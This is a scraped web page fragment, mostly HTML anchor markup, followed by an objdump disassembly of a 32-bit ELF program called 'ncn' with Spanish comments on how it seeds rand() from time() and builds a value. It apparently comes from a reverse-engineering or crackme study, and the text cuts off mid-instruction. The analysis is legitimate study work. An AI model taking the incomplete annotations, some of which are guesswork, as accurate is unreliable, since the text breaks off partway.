id="line-160"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-161"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-162"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-163"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-164"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-165"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-166"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-167"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-168"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-169"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-170"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-171"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-172"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-173"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-174"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-175"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-176"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-177"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-178"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-179"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-180"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-181"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-182"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-183"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-184"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-185"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-186"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-187"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-188"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-189"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-190"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-191"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-192"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-193"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-194"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-195"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-196"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-197"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-198"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-199"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-200"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-201"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-202"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-203"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-204"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-205"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-206"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-207"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-208"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-209"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-210"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-211"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-212"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-213"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-214"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-215"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-216"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-217"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-218"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-219"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-220"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-221"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-222"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-223"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-224"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-225"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-226"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-227"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-228"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-229"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-230"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-231"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-232"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-233"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-234"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-235"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-236"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-237"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-238"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-239"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-240"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-241"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-242"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-243"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-244"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-245"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-246"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-247"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-248"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-249"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-250"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-251"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-252"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-253"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-254"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-255"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-256"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-257"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-258"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-259"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-260"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-261"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-262"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-263"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-264"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-265"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-266"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-267"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-268"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-269"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-270"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-271"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-272"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-273"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-274"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-275"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-276"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-277"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-278"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-279"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-280"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-281"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-282"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-283"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-284"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-285"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-286"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-287"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-288"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-289"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-290"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-291"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-292"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-293"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-294"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-295"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-296"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-297"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-298"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-299"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-300"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-301"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-302"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-303"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-304"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-305"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-306"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-307"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-308"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-309"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-310"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-311"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-312"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-313"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-314"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-315"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-316"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-317"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-318"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-319"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-320"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-321"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-322"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-323"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-324"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-325"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-326"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-327"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-328"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-329"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-330"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-331"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-332"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-333"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-334"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-335"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-336"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-337"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-338"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-339"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-340"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-341"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-342"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-343"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-344"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-345"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-346"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-347"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-348"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-349"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-350"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-351"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-352"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-353"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-354"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-355"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-356"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-357"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-358"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-359"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-360"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-361"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-362"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-363"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-364"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-365"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-366"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-367"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-368"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-369"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-370"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-371"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-372"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-373"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-374"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-375"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-376"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-377"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-378"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-379"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-380"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-381"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-382"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-383"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-384"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-385"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-386"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-387"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-388"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-389"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-390"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-391"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-392"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-393"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-394"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-395"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-396"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-397"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-398"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-399"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-400"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-401"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-402"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-403"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-404"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-405"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-406"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-407"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-408"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-409"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-410"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-411"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-412"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-413"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-414"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-415"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-416"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-417"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-418"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-419"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-420"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-421"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-422"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-423"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-424"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-425"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-426"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-427"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-428"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-429"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-430"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-431"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-432"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-433"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-434"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-435"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-436"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-437"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-438"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-439"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-440"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-441"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-442"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-443"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-444"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-445"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-446"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-447"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-448"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-449"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-450"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-451"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-452"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-453"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-454"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-455"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-456"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-457"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-458"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-459"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-460"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-461"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;ncn:     file format elf32-i386&lt;br /&gt;&lt;br /&gt;Disassembly of section .init:&lt;br /&gt;&lt;br /&gt;08048320 &amp;lt;_init&amp;gt;:&lt;br /&gt; 8048320:       55                      push   %ebp&lt;br /&gt; 8048321:       89 e5                   mov    %esp,%ebp&lt;br /&gt; 8048323:       83 ec 08                sub    $0x8,%esp&lt;br /&gt; 8048326:       e8 b9 00 00 00          call   80483e4 &amp;lt;call_gmon_start&amp;gt;&lt;br /&gt; 804832b:       e8 20 01 00 00          call   8048450 &amp;lt;frame_dummy&amp;gt;&lt;br /&gt; 8048330:       e8 eb 04 00 00          call   8048820 &amp;lt;__do_global_ctors_aux&amp;gt;&lt;br /&gt; 8048335:       c9                      leave  &lt;br /&gt; 8048336:       c3                      ret    &lt;br /&gt;Disassembly of section .plt:&lt;br /&gt;&lt;br /&gt;08048338 &amp;lt;time@plt-0x10&amp;gt;:&lt;br /&gt; 8048338:       ff 35 f4 99 04 08       pushl  0x80499f4&lt;br /&gt; 804833e:       ff 25 f8 99 04 08       jmp    *0x80499f8&lt;br /&gt; 8048344:       00 00                   add    %al,(%eax)&lt;br /&gt;        ...&lt;br /&gt;&lt;br /&gt;08048348 &amp;lt;time@plt&amp;gt;:&lt;br /&gt; 8048348:       ff 25 fc 99 04 08       jmp    *0x80499fc&lt;br /&gt; 804834e:       68 00 00 00 00          push   $0x0&lt;br /&gt; 8048353:       e9 e0 ff ff ff          jmp    8048338 &amp;lt;_init+0x18&amp;gt;&lt;br /&gt;&lt;br /&gt;08048358 &amp;lt;strlen@plt&amp;gt;:&lt;br /&gt; 8048358:       ff 25 00 9a 04 08       jmp    *0x8049a00&lt;br /&gt; 804835e:       68 08 00 00 00          push   $0x8&lt;br /&gt; 8048363:       e9 d0 ff ff ff          jmp    8048338 &amp;lt;_init+0x18&amp;gt;&lt;br /&gt;&lt;br /&gt;08048368 &amp;lt;__libc_start_main@plt&amp;gt;:&lt;br /&gt; 8048368:       ff 25 04 9a 04 08       jmp    *0x8049a04&lt;br /&gt; 804836e:       68 10 00 00 00          push   $0x10&lt;br /&gt; 8048373:       e9 c0 ff ff ff          jmp    8048338 &amp;lt;_init+0x18&amp;gt;&lt;br /&gt;&lt;br /&gt;08048378 &amp;lt;printf@plt&amp;gt;:&lt;br /&gt; 8048378:       ff 25 08 9a 04 08       jmp    *0x8049a08&lt;br /&gt; 804837e:       68 18 00 00 00          push   $0x18&lt;br /&gt; 8048383:       e9 b0 ff ff ff          jmp    8048338 &amp;lt;_init+0x18&amp;gt;&lt;br /&gt;&lt;br /&gt;08048388 &amp;lt;srand@plt&amp;gt;:&lt;br /&gt; 8048388:       ff 25 0c 9a 04 08       jmp    *0x8049a0c&lt;br /&gt; 804838e:       68 20 00 00 00          push   $0x20&lt;br /&gt; 8048393:       e9 a0 ff ff ff          jmp    8048338 &amp;lt;_init+0x18&amp;gt;&lt;br /&gt;&lt;br /&gt;08048398 &amp;lt;strncpy@plt&amp;gt;:&lt;br /&gt; 8048398:       ff 25 10 9a 04 08       jmp    *0x8049a10&lt;br /&gt; 804839e:       68 28 00 00 00          push   $0x28&lt;br /&gt; 80483a3:       e9 90 ff ff ff          jmp    8048338 &amp;lt;_init+0x18&amp;gt;&lt;br /&gt;&lt;br /&gt;080483a8 &amp;lt;rand@plt&amp;gt;:&lt;br /&gt; 80483a8:       ff 25 14 9a 04 08       jmp    *0x8049a14&lt;br /&gt; 80483ae:       68 30 00 00 00          push   $0x30&lt;br /&gt; 80483b3:       e9 80 ff ff ff          jmp    8048338 &amp;lt;_init+0x18&amp;gt;&lt;br /&gt;Disassembly of section .text:&lt;br /&gt;&lt;br /&gt;080483c0 &amp;lt;_start&amp;gt;:&lt;br /&gt; 80483c0:       31 ed                   xor    %ebp,%ebp&lt;br /&gt; 80483c2:       5e                      pop    %esi&lt;br /&gt; 80483c3:       89 e1                   mov    %esp,%ecx&lt;br /&gt; 80483c5:       83 e4 f0                and    $0xfffffff0,%esp&lt;br /&gt; 80483c8:       50                      push   %eax&lt;br /&gt; 80483c9:       54                      push   %esp&lt;br /&gt; 80483ca:       52                      push   %edx&lt;br /&gt; 80483cb:       68 15 88 04 08          push   $0x8048815&lt;br /&gt; 80483d0:       68 b0 87 04 08          push   $0x80487b0&lt;br /&gt; 80483d5:       51                      push   %ecx&lt;br /&gt; 80483d6:       56                      push   %esi&lt;br /&gt; 80483d7:       68 d4 84 04 08          push   $0x80484d4&lt;br /&gt; 80483dc:       e8 87 ff ff ff          call   8048368 &amp;lt;__libc_start_main@plt&amp;gt;&lt;br /&gt; 80483e1:       f4                      hlt    &lt;br /&gt; 80483e2:       90                      nop    &lt;br /&gt;&lt;br /&gt;08048484 &amp;lt;vacia&amp;gt;:&lt;br /&gt; 8048484:       55                      push   %ebp&lt;br /&gt; 8048485:       89 e5                   mov    %esp,%ebp&lt;br /&gt; 8048487:       83 ec 0c                sub    $0xc,%esp; subimos el esp 11 bytes&lt;br /&gt; 804848a:       8b 45 08                mov    0x8(%ebp),%eax;metemos salto+newpos en eax &lt;br /&gt; 804848d:       3b 45 0c                cmp    0xc(%ebp),%eax; comparamos longitud con salto+newpos &lt;br /&gt; 8048490:       7e 0c                   jle    804849e &amp;lt;vacia+0x1a&amp;gt;;si longitud&amp;lt;salto+newpos vamos a salto1&lt;br /&gt; 8048492:       8b 55 0c                mov    0xc(%ebp),%edx;mettemos longitud en edx&lt;br /&gt; 8048495:       8b 45 08                mov    0x8(%ebp),%eax; metemos salto+newpos en eax&lt;br /&gt; 8048498:       29 d0                   sub    %edx,%eax; restamos ambos registros &lt;br /&gt; 804849a:       48                      dec    %eax ; decrementamos en 1&lt;br /&gt; 804849b:       89 45 08                mov    %eax,0x8(%ebp);guardamos el resultado como posible valor de retorno &lt;br /&gt;salto1&lt;br /&gt; 804849e:       8b 45 08                mov    0x8(%ebp),%eax;&lt;br /&gt; 80484a1:       05 20 9b 04 08          add    $0x8049b20,%eax;indice cifred(eax)&lt;br /&gt; 80484a6:       80 38 30                cmpb   $0x30,(%eax); cifred(eax) ==48&lt;br /&gt; 80484a9:       75 08                   jne    80484b3 &amp;lt;vacia+0x2f&amp;gt;; llamamos recursivamente a vacia&lt;br /&gt; 80484ab:       8b 45 08                mov    0x8(%ebp),%eax; hacemos los preparativos para salir de la funcion&lt;br /&gt; 80484ae:       89 45 fc                mov    %eax,-0x4(%ebp)&lt;br /&gt; 80484b1:       eb 1c                   jmp    80484cf &amp;lt;vacia+0x4b&amp;gt;; salimos de la funcion&lt;br /&gt; 80484b3:       8b 45 0c                mov    0xc(%ebp),%eax;preparacion para llamaa recursiva&lt;br /&gt;de vacia(param1,param2)&lt;br /&gt; 80484b6:       89 44 24 04             mov    %eax,0x4(%esp)&lt;br /&gt; 80484ba:       8b 45 08                mov    0x8(%ebp),%eax&lt;br /&gt; 80484bd:       40                      inc    %eax&lt;br /&gt; 80484be:       89 04 24                mov    %eax,(%esp)&lt;br /&gt; 80484c1:       e8 be ff ff ff          call   8048484 &amp;lt;vacia&amp;gt;&lt;br /&gt; 80484c6:       89 45 08                mov    %eax,0x8(%ebp); gilipolleces? antes de salir de la funcion&lt;br /&gt; 80484c9:       8b 45 08                mov    0x8(%ebp),%eax&lt;br /&gt; 80484cc:       89 45 fc                mov    %eax,-0x4(%ebp)&lt;br /&gt; 80484cf:       8b 45 fc                mov    -0x4(%ebp),%eax&lt;br /&gt; 80484d2:       c9                      leave  &lt;br /&gt; 80484d3:       c3                      ret    &lt;br /&gt;&lt;br /&gt;080484d4 &amp;lt;main&amp;gt;:&lt;br /&gt; 80484d4:       55                      push   %ebp&lt;br /&gt; 80484d5:       89 e5                   mov    %esp,%ebp&lt;br /&gt; 80484d7:       53                      push   %ebx&lt;br /&gt; 80484d8:       83 ec 14                sub    $0x14,%esp&lt;br /&gt; 80484db:       83 e4 f0                and    $0xfffffff0,%esp;alineamiento del esp???&lt;br /&gt; 80484de:       b8 00 00 00 00          mov    $0x0,%eax;movemos 0 a eax&lt;br /&gt; 80484e3:       29 c4                   sub    %eax,%esp; restamos 0 a esp??&lt;br /&gt; 80484e5:       c7 45 f8 40 9a 04 08    movl   $0x8049a40,-0x8(%ebp);en la posición -8 en relacion al ebp ubicamos un alfabeto alfanumerico (array min(90))&lt;br /&gt; 80484ec:       c7 05 a8 9a 04 08 02    movl   $0x2,0x8049aa8; simbolo semilla &lt;br /&gt; 80484f3:       00 00 00 &lt;br /&gt; 80484f6:       c7 05 b4 9a 04 08 03    movl   $0x3,0x8049ab4; simbolo salto no varia en tol programa&lt;br /&gt; 80484fd:       00 00 00 &lt;br /&gt; 8048500:       c7 05 a0 9a 04 08 01    movl   $0x1,0x8049aa0; simbolo newpos&lt;br /&gt; 8048507:       00 00 00 &lt;br /&gt; 804850a:       c7 05 74 9b 04 08 00    movl   $0x0,0x8049b74; simbolo procesadas&lt;br /&gt; 8048511:       00 00 00 &lt;br /&gt; 8048514:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)&lt;br /&gt; 804851b:       e8 28 fe ff ff          call   8048348 &amp;lt;time@plt&amp;gt; ; time devuelve los ticks del programa=1242518429, los 6 ultimos digitos varian&lt;br /&gt; 8048520:       89 04 24                mov    %eax,(%esp);movemos el resultado a la pila&lt;br /&gt; 8048523:       e8 60 fe ff ff          call   8048388 &amp;lt;srand@plt&amp;gt;; con lo que tenemos en la pila llamamos a generar semilla&lt;br /&gt; 8048528:       c7 05 70 9b 04 08 05    movl   $0x5,0x8049b70; variable increase=5&lt;br /&gt; 804852f:       00 00 00 &lt;br /&gt; 8048532:       e8 71 fe ff ff          call   80483a8 &amp;lt;rand@plt&amp;gt;&lt;br /&gt; 8048537:       89 c1                   mov    %eax,%ecx ; pasamos el resutlado de rand al registro ecx el número es totalmente aleatorio&lt;br /&gt; 8048539:       b8 43 08 21 84          mov    $0x84210843,%eax; movemos este valor fijo a eax&lt;br /&gt; 804853e:       f7 e9                   imul   %ecx; multiplicamos la salida de rand por el valor fijo y guardamos el resultado en eax&lt;br /&gt; 8048540:       8d 04 0a                lea    (%edx,%ecx,1),%eax; movemos edx+ecx-&amp;gt;eax&lt;br /&gt; 8048543:       89 c2                   mov    %eax,%edx; &lt;br /&gt; 8048545:       c1 fa 05                sar    $0x5,%edx;dividimos edx=eax por 32 y lo guardamos en edx&lt;br /&gt; 8048548:       89 c8                   mov    %ecx,%eax; lo dejamos en eax&lt;br /&gt; 804854a:       c1 f8 1f                sar    $0x1f,%eax;multiplicamos eax por 2^31&lt;br /&gt; 804854d:       29 c2                   sub    %eax,%edx;edx=edx-eax&lt;br /&gt; 804854f:       89 d0                   mov    %edx,%eax&lt;br /&gt; 8048551:       a3 a8 9a 04 08          mov    %eax,0x8049aa8; movemos el eax en el simbolo semilla&lt;br /&gt; 8048556:       8b 15 a8 9a 04 08       mov    0x8049aa8,%edx;sacamos el simbolo semilla al edx&lt;br /&gt; 804855c:       89 d0                   mov    %edx,%eax&lt;br /&gt; 804855e:       c1 e0 05                shl    $0x5,%eax&lt;br /&gt; 8048561:       29 d0                   sub    %edx,%eax&lt;br /&gt; 8048563:       01 c0                   add    